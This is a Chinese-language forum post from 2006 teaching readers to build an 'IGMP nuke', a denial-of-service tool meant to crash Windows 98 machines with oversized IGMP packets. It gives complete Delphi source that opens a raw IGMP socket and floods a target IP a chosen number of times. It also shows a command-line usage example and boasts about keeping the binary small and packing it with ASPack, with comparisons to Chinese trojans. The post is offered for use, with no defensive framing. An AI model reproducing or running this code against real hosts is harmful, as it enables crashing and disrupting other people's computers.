查看單個文章
舊 2006-06-19, 11:23 PM   #1 (permalink)
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設 一個藍底白字畫面炸彈的編寫方法

一個藍底白字畫面炸彈的編寫方法

藍底白字畫面炸彈一般使用的是IGMP協議(Internet Group Management Protocol)由於IGMP是一種類似ICMP(PING報文)的一種無連接協議,所以在向服務器連接時不需要指定連接的連接阜,只需要指定IP地址即可我們常用的WIN98系統因為不能很好的處理過大的IGMP資料包,很容易出現系統崩潰的情況,這就是IGMP協議被濫用為製作藍底白字畫面炸彈的原因.
炸彈製作方法:
打開DELPHI,新增一個Console Application這是一個命令行的程式,在MS-DOS方式窗體中執行,例如我們的程式編譯後文件名是NUKE.EXE,你就可以在MS-DOS方式窗體輸入NUKE XXX.XXX.XXX.XXX 65536 50
其中XXX.XXX.XXX.XXX是目標的IP地址;65536是資料包大小這裡是64K,50是發送次數,這裡我們的程式就用到了3個參數的傳遞,在DELPHI中我們就可以使用ParamStr()來獲得。
program IgmpNuke;
{$APPTYPE CONSOLE}
uses SysUtils, Windows, WinSock;//因為用到WINSOCK API請把Winsock unit加入Uses項中
var S: TSocket;
PSize: Integer;
Times: Integer;
Addr: TSockAddr;
wsaData:TWSAData;
Pack: Pchar;
begin
  WSAStartup(Word(2),wsaData);//初始化WINSOCK,要求最低版本是2;
  if ParamStr(1)<>"" then begin //獲得第一個參數,如果為空的話,跳到最後輸出使用格式。
    S:=Socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);//為SOCKET指定協議為IGMP
    if S = INVALID_SOCKET then begin
      WriteLn("Create Socket Error:"+ IntToStr(GetLastError()));
      exit;
    end;
    PSize:=StrToInt(ParamStr(2));//獲得第二個參數,為資料包大小;
    Times:=StrToInt(ParamStr(3));//獲得第三個參數,為發送次數;
    GetMem(Pack,PSize);//分配一段記憶體,大小為包的大小;
    Addr.sin_family:=AF_INET;//指定使用的協議簇;
    Addr.sin_addr.S_addr:=inet_addr(Pchar(ParamStr(1)));//指定目標的IP地址;當然要經過inet_addr函數轉換;
    if Connect(S,Addr,SizeOf(Addr))<>0 then begin
      WriteLn("Connect Error (Code):"+IntToStr(GetLastError()));
      Exit;
    end;
    //以下開始循環發送,使用Send api;
    Repeat
      Send(S,Pack^,PSize,0);
      dec(Times); //每次發送後使發送次數減一;
      Write(".");
    until Times=0;
    WriteLn("");
    WriteLn("Nuke: "+ParamStr(1)); //顯示一下訊息;
    WriteLn("Packet Size: "+ParamStr(2));
    WriteLn("Times: "+ParamStr(3));
    WriteLn("GwNuker1.0");
    WriteLn("Welcome to http://www.gwgirl.com/");//做一下廣告,呵呵。
  end else begin
    WriteLn("Nuke xxx.xxx.xxx.xxx PackSize Times");
  end;
  FreeMem(Pack);//釋放剛才分配的記憶體;
  WSACleanup;//釋放Winsock資源;
end.
好了一個命令行版本的「藍底白字畫面炸彈」就這樣寫好了,編譯成EXE文件,看看只有40K左右,還可以用ASPack壓縮的哦!!廣外女生有這樣小的體積,不是單純依靠壓縮軟件的哦,只要在編程的時候減少使用窗體或可視化控件,就可以大大減少自己程式的大小,這是女生和冰河等大陸國產木馬不同的
__________________
http://bbsimg.qianlong.com/upload/01/08/29/68/1082968_1136014649812.gif
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次